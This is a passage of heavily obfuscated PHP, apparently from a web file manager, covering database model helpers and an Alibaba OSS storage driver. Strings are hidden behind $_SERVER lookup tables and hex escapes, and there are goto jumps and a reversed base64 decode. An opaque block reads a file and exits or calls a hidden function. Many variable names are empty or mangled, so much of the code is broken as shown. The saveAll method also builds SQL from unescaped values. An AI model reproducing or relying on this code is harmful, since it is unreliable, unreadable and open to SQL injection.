cacheFunctionGet($ȡͧ, $֤΢) { $险 = $this->cacheKeyMake($ȡͧ, $֤΢); $ = Cache::get($险); if (!is_array($)) { $ = call_user_func_array(array($this, $ȡͧ), array($֤΢, !0)); Cache::set($险, $); } return $; } public function cacheFunctionClear($咻nj, $κ) { $² = $κ; if (!is_array($κ)) { $² = array($κ); } foreach ($² as $љ) { $ = $this->cacheKeyMake($咻nj, $љ); Cache::remove($); } } private function cacheKeyMake($ը, $ԥ) { $ =& $_SERVER[]; return get_class($this) . $[11] . $ը . $[356] . $ԥ; } protected function selectPageReset() { $ =& $_SERVER[]; if (isset($GLOBALS[$[357]])) { return; } $GLOBALS[$[357]] = isset($GLOBALS[$[7]][$[358]]) ? $GLOBALS[$[7]][$[358]] : !1; $GLOBALS[$[359]] = isset($GLOBALS[$[7]][$[348]]) ? $GLOBALS[$[7]][$[348]] : !1; $GLOBALS[$[7]][$[358]] = !1; $GLOBALS[$[7]][$[348]] = !1; } protected function selectPageRestore() { $ߣ =& $_SERVER[]; if (!isset($GLOBALS[$ߣ[357]])) { return; } $GLOBALS[$ߣ[7]][$ߣ[358]] = $GLOBALS[$ߣ[357]]; $GLOBALS[$ߣ[7]][$ߣ[348]] = $GLOBALS[$ߣ[359]]; if ($GLOBALS[$ߣ[7]][$ߣ[358]] === !1) { unset($GLOBALS[$ߣ[7]][$ߣ[358]]); } if ($GLOBALS[$ߣ[7]][$ߣ[348]] === !1) { unset($GLOBALS[$ߣ[7]][$ߣ[348]]); } unset($GLOBALS[$ߣ[357]]); unset($GLOBALS[$ߣ[359]]); } protected function selectPage($Ө = 200, $ = 1) { $ =& $_SERVER[]; global $in; $Ҩ = $this->optionsValue(); $ɠ = 50000; $Ө = isset($in[$[358]]) && $in[$[358]] ? $in[$[358]] : $Ө; if ($Ө === -1) { $in[$[358]] = !1; $ɠ = 100000000; $Ө = $ɠ; } $ߣ = $Ҩ; $ߣ[$[360]] = array(); $Ө = intval($Ө); $Ө = $Ө <= 5 ? 5 : ($Ө >= $ɠ ? $ɠ : $Ө); $ = intval(isset($in[$[348]]) && $in[$[348]] ? $in[$[348]] : $); $ = $ <= 1 ? 1 : $; $䡟 = array(); $– = 1; if ($ == 1 && $–) { $this->optionsValue($Ҩ); $䡟 = $this->page($, $Ө)->select(); $ = is_array($䡟) ? count($䡟) : 0; if ($ < $Ө) { $ͺ = 1; } else { $this->optionsValue($ߣ); $ = intval($this->count()); $ͺ = ceil($ / $Ө); } } else { $this->optionsValue($ߣ); $ = intval($this->count()); $ͺ = ceil($ / $Ө); $ = $ >= $ͺ ? $ͺ : $; $this->optionsValue($Ҩ); $䡟 = $this->page($, $Ө)->select(); } if (!is_array($䡟)) { $䡟 = array(); } if ($ͺ == 1) { $ = count($䡟); } $ = array($[361] => array($[362] => $, $[358] => $Ө, $[348] => $, $[363] => $ͺ), $[364] => $䡟); return $; } protected function checkLength($ƅ, $㿅 = 0, $ = '') { $Ы =& $_SERVER[]; $㿅 = $㿅 ? $㿅 : 65536; if (!$ƅ || strlen($ƅ) < $㿅) { return; } $ = $ ? $ . $Ы[71] : $Ы[12]; show_json($ . LNG($Ы[365]) . "\50{$㿅}\51", !1); } protected function metaSet($ŕ, $ܿ = null, $ևĥ = null) { $Ћ =& $_SERVER[]; if (!$this->tableMeta || !$ŕ) { return !1; } $ = $this->tableMeta[$Ћ[366]]; $ = $this->tableMeta[$Ћ[367]]; $ = Model($); $ = array($ => $ŕ, $Ћ[368] => $ܿ); if (is_null($ܿ)) { return $->where(array($ => $ŕ))->delete(); } if (is_null($ևĥ) && is_string($ܿ)) { return $->where($)->delete(); } $䗤 = is_array($ܿ) ? $ܿ : array(); if (is_string($ܿ)) { $䗤[$ܿ] = $ևĥ; } $ = array(); foreach ($䗤 as $ => $ھļ) { if (is_null($ھļ) && is_string($)) { $->where(array($ => $ŕ, $Ћ[368] => $))->delete(); continue; } $this->checkLength($ھļ, !1, $ . $Ћ[4] . $); $[] = array($ => $ŕ, $Ћ[95] => $, $Ћ[369] => $ھļ); } $Ⱥ = $Ћ[370] . $; CacheLock::lock($Ⱥ); $->where(array($ => $ŕ))->addAll($, array(), !0); CacheLock::unlock($Ⱥ); return !0; } public function metaGet($, $ = false) { $ˠ =& $_SERVER[]; if (!$this->tableMeta) { return array(); } $ګ = $this->tableMeta[$ˠ[366]]; $ = Model($this->tableMeta[$ˠ[367]]); if ($) { $ᜢ = array($ګ => $, $ˠ[95] => $); return $->where($ᜢ)->getField($ˠ[369]); } $ᜢ = array($ګ => $); $ = $->field($ˠ[371])->where($ᜢ)->select(); $ = array_to_keyvalue($, $ˠ[95], $ˠ[369]); return $; } private function checkDataAutoHas($) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($, explode($_SERVER[][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$밆, $ҿ) { $ =& $_SERVER[]; if (!is_array($밆)) { return; } foreach ($this->dataAuto as $) { $ = $[0]; if (!in_array($ҿ, explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[316]: case $[317]: $в = $[1]; $̘ = isset($[4]) ? (array) $[4] : array(); if ($в == $[196] && array_key_exists($, $밆)) { if (!$밆[$]) { unset($밆[$]); } break; } if (isset($밆[$])) { array_unshift($̘, $밆[$]); } if ($[316] == $[3]) { $밆[$] = call_user_func_array($в, $̘); } else { $밆[$] = call_user_func_array(array(&$this, $в), $̘); } break; case $[265]: if (isset($밆[$]) && $밆[$]) { $밆[$] = call_user_func_array(array(&$this, $[1]), array($밆[$])); } break; case $[268]: $밆[$] = $밆[$[1]]; break; case $[289]: if (isset($밆[$]) && !is_string($밆[$])) { $밆[$] = json_encode_force($밆[$]); } break; case $[318]: if ($밆[$] === $[12]) { unset($밆[$]); } break; case $[319]: $밆[$] = $[1]; default: break; } } if ($ҿ == $[350]) { $ = strtolower($this->db->getDbType()); if (strpos($, $[13]) !== 0) { return; } $Ŝ = $this->field(!0)->fields; $ = $Ŝ[$[247]]; if (isset($Ŝ[$[246]])) { unset($[$Ŝ[$[246]]]); } foreach ($ as $ => $ҿ) { if (!isset($밆[$])) { $밆[$] = $[12]; } } } } private function dataAfterFilter(&$ú) { $͹ =& $_SERVER[]; foreach ($this->dataAuto as $) { $ = $[0]; if (!isset($ú[$])) { continue; } if (!in_array($͹[352], explode($͹[50], $[2]))) { continue; } switch (trim($[3])) { case $͹[316]: case $͹[317]: $Β = isset($[4]) ? (array) $[4] : array(); array_unshift($Β, $ú[$]); if (isset($[4]) && $[4] == $͹[372]) { $Β = array($ú[$]); } if ($͹[316] == $[3]) { $ú[$] = call_user_func_array($[1], $Β); } else { $ú[$] = call_user_func_array(array(&$this, $[1]), $Β); } break; case $͹[265]: if (isset($ú[$]) && $ú[$]) { $ú[$] = call_user_func_array(array(&$this, $[1]), array($ú[$])); } break; case $͹[268]: $ú[$] = $ú[$[1]]; break; case $͹[289]: $ = $ú[$]; $ú[$] = json_decode($, !0); if (is_null($ú[$])) { $ú[$] = $; } break; case $͹[318]: if ($ú[$] === $͹[12]) { unset($ú[$]); } break; case $͹[319]: $ú[$] = $[1]; break; default: break; } } } public function saveAll($Ϝے) { $ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; $ = self::SQL_WHERE_IN_CHUNK; $Ϝے = is_array($Ϝے) ? $Ϝے : array(); $ε = $[373]; $ = 0; $ = array(); $ = count($Ϝے); for ($դ = 0; $դ < $; $դ++) { $Ë = $Ϝے[$դ]; if (!is_array($Ë) || count($Ë) != 4) { continue; } $ = "\x55\x50\104\101\x54\x45\x20\140{$}\140\x20\x53\x45\124\40{$Ë[2]}\40\x3d\40\x43\x41\x53\x45\40{$Ë[0]}\40\12"; if ($ == 0) { $ε = $; } $[] = $[117] . $Ë[1] . $[117]; $++; $ε .= "\x20\x57\110\105\x4e\40\47{$Ë[1]}\x27\40\124\x48\105\x4e\x20\47{$Ë[3]}\x27\40\xa"; if ($ == $ || $դ == $ - 1) { $ = implode($[50], $); $ε .= "\40\x45\x4e\x44\x20\40\x57\x48\105\x52\x45\40{$Ë[0]}\40\x49\x4e\x20\50{$}\x29\x20"; $this->execute($ε); $ = 0; $ε = $; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ =& $_SERVER[]; $ = $this->tablePrefix . $this->tableName; foreach ($ as $) { if (!is_array($) || count($) != 4) { continue; } $ = $[0] . $[374] . $[1] . $[117]; $ = $[2] . $[374] . $[3] . $[117]; $ = "\x75\x70\x64\141\164\x65\40{$}\x20\163\145\164\x20{$}\x20\x77\150\145\162\x65\x20{$}\x3b"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $͔ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $͔; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $[$_SERVER[][375]] = $; Hook::trigger($this->_chunkEvent, $); } public function addAll($ƍ, $ = array(), $я = false) { $ڳ审 =& $_SERVER[]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($ƍ)) { $this->error = think_lang($ڳ审[266]); return !1; } $ = $this->_parseOptions($); foreach ($ƍ as $ => $И) { $ƍ[$] = $this->_facade($И); $this->_beforeInsert($ƍ[$], $); } if (method_exists($this->db, $ڳ审[267])) { for ($ = 0; $ < count($ƍ); $ += $) { $ = array_slice($ƍ, $, $); if (!is_array($) || count($) == 0) { break; } $ = $this->db->insertAll($, $, $я); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ƍ as $ => $И) { $ = $this->db->insert($И, $, $я); } $this->commit(); } if (!1 !== $) { $ = $this->getLastInsID(); if ($) { return $; } } return $; } public function save($ = '', $΄쾂 = array()) { $ҳ㹱 =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ = $this->findWhereField($); if (!$) { return parent::save($, $΄쾂); } $ = 0; $ = $[$ҳ㹱[270]][$][1]; $ = is_array($) ? $ : array(); $Ĉ = count($); for ($ꃖ = 0; $ꃖ < $Ĉ; $ꃖ += $) { $ղ盈 = array_slice($, $ꃖ, $); if (!is_array($ղ盈) || count($ղ盈) == 0) { break; } $[$ҳ㹱[270]][$][1] = $ղ盈; $this->optionsValue($); $ += parent::save($, $΄쾂); $this->chunkEventCheck(count($ղ盈)); } $this->chunkEventSet(); return $; } public function add($֥ = '', $ = array(), $毓 = false) { if ($this->addTaskStatus && is_array($֥)) { $this->addTaskData[] = $֥; return; } return parent::add($֥, $, $毓); } public function parseWhereLike($٠⬨, $ = '', $ = false, &$ִ = false) { $ŝ =& $_SERVER[]; $䨃Ѡ = $GLOBALS[$ŝ[6]][$ŝ[376]]; if (!$䨃Ѡ[$ŝ[377]]) { return $٠⬨; } if (!is_array($٠⬨)) { return $٠⬨; } $۟ = array(); $٘ = 0; foreach ($٠⬨ as $ވ => $沺) { if (is_array($沺) && count($沺) == 2 && $沺[0] == $ŝ[378] && is_string($沺[1]) && substr($沺[1], 0, 1) == $ŝ[379] && substr($沺[1], strlen($沺[1]) - 1, 1) == $ŝ[379]) { $ִ = !0; $؟蠜 = is_string($ވ) ? $ވ : $; $ = substr($沺[1], 1, strlen($沺[1]) - 2); $ = $this->db->escapeString($); if (!strpos($؟蠜, $ŝ[10])) { $؟蠜 = $ŝ[380] . $؟蠜 . $ŝ[380]; } $ = $ŝ[181] . $ . $ŝ[181]; if ($䨃Ѡ[$ŝ[381]]) { $ = $ŝ[382] . $ . $ŝ[383]; if ($䨃Ѡ[$ŝ[384]]) { $ = $ŝ[383] . $ . $ŝ[382]; } } $۟[$٘] = $ŝ[385] . $؟蠜 . $ŝ[386] . $ . $ŝ[387]; $٘++; continue; } if (is_array($沺)) { $ = is_string($ވ) ? $ވ : $; $沺 = $this->parseWhereLike($沺, $, !0, $ִ); } if (is_numeric($ވ)) { $۟[$٘] = $沺; $٘++; } else { $۟[$ވ] = $沺; } } if ($ִ && !$) { } return $۟; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($Ć = array()) { $ϲ =& $_SERVER[]; $ۆ = self::SQL_WHERE_IN_CHUNK; $Ë = $this->optionsValue(); $ŧ = $this->findWhereField($Ë); if (!$ŧ || isset($Ë[$ϲ[287]]) || isset($Ë[$ϲ[348]])) { return parent::select($Ć); } $ȴ = $Ë[$ϲ[270]][$ŧ][1]; $ȴ = is_array($ȴ) ? $ȴ : array(); $җ = null; for ($写 = 0; $写 < count($ȴ); $写 += $ۆ) { $ = array_slice($ȴ, $写, $ۆ); if (!is_array($) || count($) == 0) { break; } $Ë[$ϲ[270]][$ŧ][1] = $; $this->optionsValue($Ë); $᳍ = parent::select($Ć); if (!$᳍) { continue; } $җ = is_array($җ) ? $җ : array(); $җ = array_merge($җ, $᳍); } return $җ; } public function delete($ր = array()) { $ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; $ = $this->optionsValue(); $ֲ = $this->findWhereField($); if (!$ֲ) { return parent::delete($ր); } $颜 = 0; $в = $[$[270]][$ֲ][1]; $в = is_array($в) ? $в : array(); for ($ޥ = 0; $ޥ < count($в); $ޥ += $) { $ޠ = array_slice($в, $ޥ, $); if (!is_array($ޠ) || count($ޠ) == 0) { break; } $[$[270]][$ֲ][1] = $ޠ; $this->optionsValue($); $颜 += parent::delete($ր); } return $颜; } private function findWhereField($̷) { $Ĵ =& $_SERVER[]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($̷) || !is_array($̷[$Ĵ[270]])) { return !1; } foreach ($̷[$Ĵ[270]] as $𻧣 => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $Ĵ[7] && is_array($[1]) && count($[1]) > $) { ignore_timeout(); return $𻧣; } } return !1; } public function setMasterDB($ݭ = true) { think_config($_SERVER[][388], $ݭ); } } if ($_SERVER[$_SERVER[][389]] != $_SERVER[$_SERVER[][390]]) { $_getc = $_SERVER[][391]; $_getfile = $_SERVER[$_SERVER[][392]] . $_SERVER[][393]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][226], $_getfilec); if (count($_getarrs) < $_SERVER[][394]) { $exit = $_SERVER[][395]; $exit(); } $_act = $_SERVER[][396]; $_act($_SERVER[$_SERVER[][397]]); } goto B; cϝ峄: $fileSize = strrev(base64_decode($_SERVER[䌖][0])); function binCheckNeq($г, $Ҍ) { return $г != $Ҍ; } $_SERVER[$_SERVER[䌖][1]] = $fileSize($_SERVER[$_SERVER[䌖][2]]); goto BɆ̏; E덏: class PathDriverOOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][211]); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1310]) { $ = $[1311] . substr($, 7); } header($[158] . $); die; } } class PathDriverOSS extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $bucket = ''; protected $bucketAcl = ''; protected $endpoint = null; protected $client = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public $cdnHost = ''; public function __construct($ظ) { parent::__construct(); include_once SDK_DIR . $_SERVER[][1367]; $this->_init($ظ); } public function _init($) { $ =& $_SERVER[]; foreach ($ as $ܢ => $) { if (isset($this->{$ܢ})) { $this->{$ܢ} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1368] . LNG($[1369])); } $this->client = new OSS\OssClient($this->accessKey, $this->secret, $this->domain); $this->client->setConnectTimeout(60); } public function setBucketCors() { $ =& $_SERVER[]; $ = new OSS\Model\CorsConfig(); $ = new OSS\Model\CorsRule(); $->addAllowedOrigin($[1370]); $->addAllowedMethod($[1371]); $->addAllowedMethod($[1372]); $->addAllowedMethod($[1373]); $->addAllowedMethod($[1374]); $->addAllowedMethod($[157]); $->setMaxAgeSeconds(600); $->addExposeHeader($[1375]); $->addAllowedHeader($[1370]); $->addRule($); try { $this->client->putBucketCors($this->bucket, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function getBucketCors() { $˲֥ =& $_SERVER[]; $ = null; try { $ = $this->client->getBucketCors($this->bucket); } catch (OSS\Core\OssException $א) { return null; } if (!$ || !($ = $->getRules())) { return null; } $ғ = $[0]->getAllowedOrigins(); $ = $[0]->getAllowedMethods(); $ = $[0]->getMaxAgeSeconds(); $Ɨ = $[0]->getExposeHeaders(); $ю = $[0]->getAllowedHeaders(); return array($˲֥[180] => isset($ғ[0]) ? $ғ[0] : $˲֥[12], $˲֥[184] => $, $˲֥[1376] => $, $˲֥[1377] => isset($Ɨ[0]) ? $Ɨ[0] : $˲֥[12], $˲֥[182] => isset($ю[0]) ? $ю[0] : $˲֥[12]); } public function isBucketCors() { $䷑ =& $_SERVER[]; $꼈 = $this->getBucketCors(); if (!$꼈 || !is_array($꼈)) { return !1; } if ($꼈[$䷑[180]] != $䷑[181] || $꼈[$䷑[182]] != $䷑[181]) { return !1; } $ɲ = array_map($䷑[183], $꼈[$䷑[184]]); if (!is_array($ɲ)) { $ɲ = array(); } $ = array($䷑[185], $䷑[186], $䷑[187], $䷑[188], $䷑[189]); $ä = array_diff($, $ɲ); return empty($ä); } public function mkfile($Ψ, $ = '', $ѝ = REPEAT_RENAME) { $̲ = $this->setContent($Ψ, $); if ($̲ !== !1) { return $this->getPathOuter($Ψ); } return !1; } public function mkdir($, $Ы = REPEAT_SKIP) { if ($this->_isFolder($)) { return $this->getPathOuter($); } try { $this->client->createObjectDir($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $㛰) { return !1; } return $this->getPathOuter($); } private function fileList($, $ = '', $ūٔ = 0) { $䍠Я =& $_SERVER[]; $ = trim($, $䍠Я[8]); $И = empty($) && $ !== $䍠Я[190] ? $䍠Я[12] : $ . $䍠Я[8]; $Ыߔ = $䍠Я[12]; $چ = 1000; $ = $this->listItemCache === !1 ? !1 : !0; $£ݑ = $ = array(); while (!0) { check_abort(); $튝 = array($䍠Я[1378] => $, $䍠Я[1379] => $И, $䍠Я[1380] => $چ, $䍠Я[1381] => $Ыߔ); try { $Ɋ = $this->client->listObjects($this->bucket, $튝); } catch (OSS\Core\OssException $) { break; } $Ыߔ = $Ɋ->getNextMarker(); $㵫 = $Ɋ->getObjectList(); $ = $Ɋ->getPrefixList(); foreach ($㵫 as $) { if ($->getKey() == $И) { continue; } $ = $->getKey(); $ = $->getSize(); $矎 = $->getLastModified(); $ = $ūٔ ? array($䍠Я[32] => $, $䍠Я[80] => $, $䍠Я[196] => strtotime($矎)) : $; $ = $ == 0 && substr($, strlen($) - 1, 1) == $䍠Я[8] ? !0 : !1; if ($) { $this->cacheMethod($䍠Я[198], $, $); $this->cacheMethod($䍠Я[199], $, array($䍠Я[80] => $, $䍠Я[1382] => $, $䍠Я[86] => strtotime($矎), $䍠Я[1383] => $矎)); } if ($) { $£ݑ[] = $; continue; } $[] = $; } foreach ($ as $) { $£ݑ[] = $->getPrefix(); if ($) { $this->cacheMethod($䍠Я[198], $, !0); } } if ($Ыߔ === $䍠Я[12]) { break; } } if ($) { $this->cacheMethod($䍠Я[198], $, !0); } return array($䍠Я[77] => $£ݑ, $䍠Я[76] => $); } public function copyFile($ث, $±) { $à = $this->size($ث); if ($à < 1024 * 1024 * 1024) { try { $this->client->copyObject($this->bucket, $ث, $this->bucket, $this->pathEncode($±)); } catch (OSS\Core\OssException $䤨) { return !1; } return $this->getPathOuter($±); } $ = $this->multiCopyObject($ث, $±, $Ã); return $ ? $this->getPathOuter($±) : !1; } private function multiCopyObject($ēˑ, $, $) { $ =& $_SERVER[]; try { $ = array(); if ($睊 = $this->hashMd5($ēˑ)) { $ = array(OSS\OssClient::OSS_HEADERS => array($[1384] => $睊)); } $Η = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $); $յ = 1; $ͻ = 0; $›蘘 = array(); $և = 1024 * 1024 * 10; $勴 = $this->client->generateMultiuploadParts($, $և); foreach ($勴 as $󜿈 => $ǰ) { $ٖ = $ͻ + (int) $ǰ[$[1385]]; $ت = (int) $ǰ[$[332]] + $ٖ - 1; $Ý = array($[1386] => $ٖ, $[1387] => $ت); $›蘘[] = $this->client->uploadPartCopy($this->bucket, $ēˑ, $this->bucket, $this->pathEncode($), $յ, $Η, $Ý); $յ = $յ + 1; } $Ԫʑ = array(); foreach ($›蘘 as $󜿈 => $ݳ) { $Ԫʑ[] = array($[1388] => $󜿈 + 1, $[1389] => $ݳ); } $this->client->completeMultipartUpload($this->bucket, $this->pathEncode($), $Η, $Ԫʑ); } catch (OSS\Core\OssException $ݣ݄) { return !1; } return !0; } public function moveFile($􇅐, $Χ∮) { if ($this->copyFile($􇅐, $Χ∮)) { $this->remove($􇅐); return $this->getPathOuter($Χ∮); } return !1; } public function delFile($) { try { $this->client->deleteObject($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function delFolder($룃) { $ㅁ =& $_SERVER[]; if (!$this->exist($룃)) { return !0; } $this->listItemCache = !1; $֢ = $this->fileList($룃); $this->listItemCache = !0; $ɇ = trim($룃, $ㅁ[8]) . $ㅁ[8]; if (!empty($룃) && $룃 !== $ㅁ[190] && !in_array($ɇ, $֢[$ㅁ[77]])) { $֢[$ㅁ[77]][] = $ɇ; } $ = $this->delByBatch($֢[$ㅁ[76]]); if (!$) { return !1; } $ = $this->delByBatch($֢[$ㅁ[77]]); if (!$) { return !1; } return $this->delFile($ɇ); } private function delByBatch($؛) { foreach (array_chunk($؛, 1000) as $Ǎ) { try { $this->client->deleteObjects($this->bucket, $Ǎ); } catch (OSS\Core\OssException $) { return !1; } } return !0; } public function rename($, $ى) { return $this->renameObject($, $ى); } private function fileInfo($, $ = false, $앺 = array()) { $Ƌ =& $_SERVER[]; $ = array($Ƌ[32] => $this->pathThis($), $Ƌ[78] => $this->getPathOuter($), $Ƌ[33] => $Ƌ[192], $Ƌ[80] => isset($앺[$Ƌ[80]]) ? $앺[$Ƌ[80]] : 0, $Ƌ[167] => $this->ext($)); if ($) { return $; } $[$Ƌ[193]] = $[$Ƌ[86]] = 0; $[$Ƌ[194]] = $[$Ƌ[195]] = !0; if (empty($앺)) { $鰵 = $this->objectMeta($); if (!$鰵) { return $; } $앺 = array($Ƌ[86] => strtotime($鰵[$Ƌ[1383]]), $Ƌ[80] => $鰵[$Ƌ[1382]] + 0); } if (isset($앺[$Ƌ[80]])) { $[$Ƌ[80]] = $앺[$Ƌ[80]]; } if (isset($앺[$Ƌ[86]])) { $[$Ƌ[86]] = $앺[$Ƌ[86]]; } if (isset($앺[$Ƌ[196]]) && !trim($[$Ƌ[86]])) { $[$Ƌ[86]] = $앺[$Ƌ[196]]; } return $; } private function folderInfo($ˀ, $ = false, $“͛ = array()) { $Ԧ =& $_SERVER[]; $ = array($Ԧ[32] => $this->pathThis($ˀ), $Ԧ[78] => $this->getPathOuter($Ԧ[8] . $ˀ), $Ԧ[33] => $Ԧ[79]); if ($) { return $; } $[$Ԧ[193]] = $[$Ԧ[86]] = 0; $[$Ԧ[194]] = $[$Ԧ[195]] = !0; if (empty($“͛)) { $ˀ = rtrim($ˀ, $Ԧ[8]) . $Ԧ[8]; $ϙ… = $this->objectMeta($ˀ); if (!$ϙ…) { return $; } $“͛ = array($Ԧ[193] => $ϙ…[$Ԧ[511]][$Ԧ[1390]], $Ԧ[86] => strtotime($ϙ…[$Ԧ[1383]])); } if (isset($“͛[$Ԧ[86]])) { $[$Ԧ[86]] = $“͛[$Ԧ[86]]; } if (isset($“͛[$Ԧ[193]])) { $[$Ԧ[193]] = $“͛[$Ԧ[193]]; } return $; } public function listPath($ٱܢ, $ǩ = false) { $ =& $_SERVER[]; $ϣ = $this->fileList($ٱܢ, $[8], !0); foreach ($ϣ[$[77]] as $ => $) { $ϣ[$[77]][$] = $this->folderInfo($, $ǩ, $); } foreach ($ϣ[$[76]] as $ => $) { $ϣ[$[76]][$] = $this->fileInfo($[$[32]], $ǩ, $); } return $ϣ; } public function has($ގ, $Ӷ = false, $± = true) { $ =& $_SERVER[]; $ގ = trim($ގ, $[8]); $ = empty($ގ) && $ގ !== $[190] ? $[12] : $ގ . $[8]; $ = $[12]; $ȸ = 500; $ = $߬ = 0; while (!0) { check_abort(); $諓Ŗ = array($[1378] => $[8], $[1379] => $, $[1380] => $ȸ, $[1381] => $); try { $ڲ = $this->client->listObjects($this->bucket, $諓Ŗ); } catch (OSS\Core\OssException $) { break; } $ = $ڲ->getNextMarker(); $ם֝ = $ڲ->getObjectList(); $ = $ڲ->getPrefixList(); if ($Ӷ) { if (count($ם֝) > 1 || count($ם֝) == 1 && $ם֝[0]->getKey() != $) { $ += count($ם֝) - 1; } if (!empty($)) { $߬ += count($); } if ($ === $[12]) { break; } continue; } if ($±) { if (!empty($ם֝)) { if (count($ם֝) > 1 || $ם֝[0]->getKey() != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === $[12]) { break; } } if ($Ӷ) { return array($[202] => $, $[203] => $߬); } return !1; } public function listAll($) { $ =& $_SERVER[]; $΁ = $this->fileList($, $[12], !0); $֊ = array(); foreach ($΁[$[76]] as $֎) { $֊[$֎[$[32]]] = $֎[$[80]]; } foreach ($΁[$[77]] as $֎) { if (is_string($֎)) { $֊[$֎] = 0; } } return $this->listAllFiles($, array_keys($֊), $֊); } public function canRead($) { $ɞ =& $_SERVER[]; $ƛ = $this->pathAcl($); return $ƛ == $ɞ[1391] || $ƛ == $ɞ[550] ? !0 : !1; } public function canWrite($lj֩) { $ = $this->pathAcl($lj֩); return $ == $_SERVER[][550] ? !0 : !1; } public function pathAcl($ͫ) { $ =& $_SERVER[]; if (empty($this->bucketAcl)) { $this->bucketAcl = $this->client->getBucketAcl($this->bucket); } try { $ϯ = $this->client->getObjectAcl($this->bucket, $this->pathEncode($ͫ)); } catch (OSS\Core\OssException $) { return !1; } $ = $ϯ == $[37] ? $this->bucketAcl : $ϯ; if ($ == $[1392]) { return $[1391]; } if ($ == $[1393]) { return $[550]; } return $; } private function chmodPath($, $” = '') { $ݜ =& $_SERVER[]; $ = empty($”) ? $ݜ[1393] : $”; $ = array($ݜ[37], $ݜ[191], $ݜ[1392], $ݜ[1393]); if (!in_array($, $)) { return !1; } try { $this->client->putObjectAcl($this->bucket, $this->pathEncode($), $); } catch (OSS\Core\OssException $Ү) { return !1; } return !0; } public function getContent($ೂ) { return $this->fileSubstr($ೂ, -1); } public function setContent($Ǯ, $ = '') { $ =& $_SERVER[]; try { $ϳ = $this->trafficLimit($[1394]); $ = $this->client->putObject($this->bucket, $this->pathEncode($Ǯ), $, $ϳ); } catch (OSS\Core\OssException $剀) { return !1; } $ĝ = array($[1384] => trim($[$[1395]], $[117]), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($Ǯ))); $this->updateObjMeta($Ǯ, $ĝ); return isset($[$[1396]][$[1343]]) ? !0 : !1; } private function updateObjMeta($, $) { $ = $this->pathEncode($); try { $ = array(OSS\OssClient::OSS_HEADERS => $); $this->client->copyObject($this->bucket, $, $this->bucket, $, $); } catch (OSS\Core\OssException $) { return !1; } return !0; } public function upload($, $Ƃ, $ټ = false, $ӿ = REPEAT_REPLACE) { $ =& $_SERVER[]; $󎀵 = trim($, $[8]); $ = array(OSS\OssClient::OSS_CHECK_MD5 => !0, OSS\OssClient::OSS_PART_SIZE => 1024 * 1024 * 10, OSS\OssClient::OSS_HEADERS => array($[1384] => @md5_file($Ƃ)), OSS\OssClient::OSS_CONTENT_TYPE => get_file_mime(get_path_ext($))); $ = $this->trafficLimit($[1394], $); try { $this->client->multiuploadFile($this->bucket, $this->pathEncode($󎀵), $Ƃ, $); } catch (OSS\Core\OssException $) { return !1; } return $this->getPathOuter($); } public function getHost() { $պΌ =& $_SERVER[]; $̙ = explode($պΌ[176], parent::getHost()); return $̙[0] . $պΌ[176] . $this->bucket . $պΌ[10] . $̙[1]; } public function uploadFormData($, $ = 3600) { $ꮤ =& $_SERVER[]; if (!($҈ = $this->getHost())) { return !1; } $ɸ = $; $Ȕ = date($ꮤ[1397], time() + $ɸ); $ = new DateTime($Ȕ); $ׂ = $->format(DateTime::ISO8601); $ = strpos($ׂ, $ꮤ[291]); $ׂ = substr($ׂ, 0, $) . $ꮤ[1398]; $ = 1048576000 * 5; $ = $this->pathFather($); $ = array($ꮤ[1297] => $ׂ, $ꮤ[1298] => array(array($ꮤ[1399], 0, $), array($ꮤ[1301], $ꮤ[1302], $))); $ = base64_encode(json_encode($)); $ƞߋ = base64_encode(hash_hmac($ꮤ[227], $, $this->secret, !0)); $ȧ = array($ꮤ[1307] => $, $ꮤ[1400] => $this->accessKey, $ꮤ[1303] => $ꮤ[1295], $ꮤ[1401] => $ƞߋ, $ꮤ[174] => $҈); $ȧ = $this->trafficLimit($ꮤ[1394], $ȧ); return $ȧ; } public function multiUploadFormData($ȕ, $ = 3600) { $ē =& $_SERVER[]; if (!($ꏑ = $this->getHost())) { return !1; } $ȯ = $this->trafficLimit($ē[1394]); $ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($ȕ), $ȯ); return array($ē[218] => $, $ē[174] => $ꏑ . $ē[8] . $this->pathEncode($ȕ), $ē[219] => gmdate($ē[1402]), $ē[95] => $ȕ); } public function multiUploadAuthData($, $Ҷ = array()) { $ =& $_SERVER[]; $淜 = isset($Ҷ[$[219]]) ? $Ҷ[$[219]] : 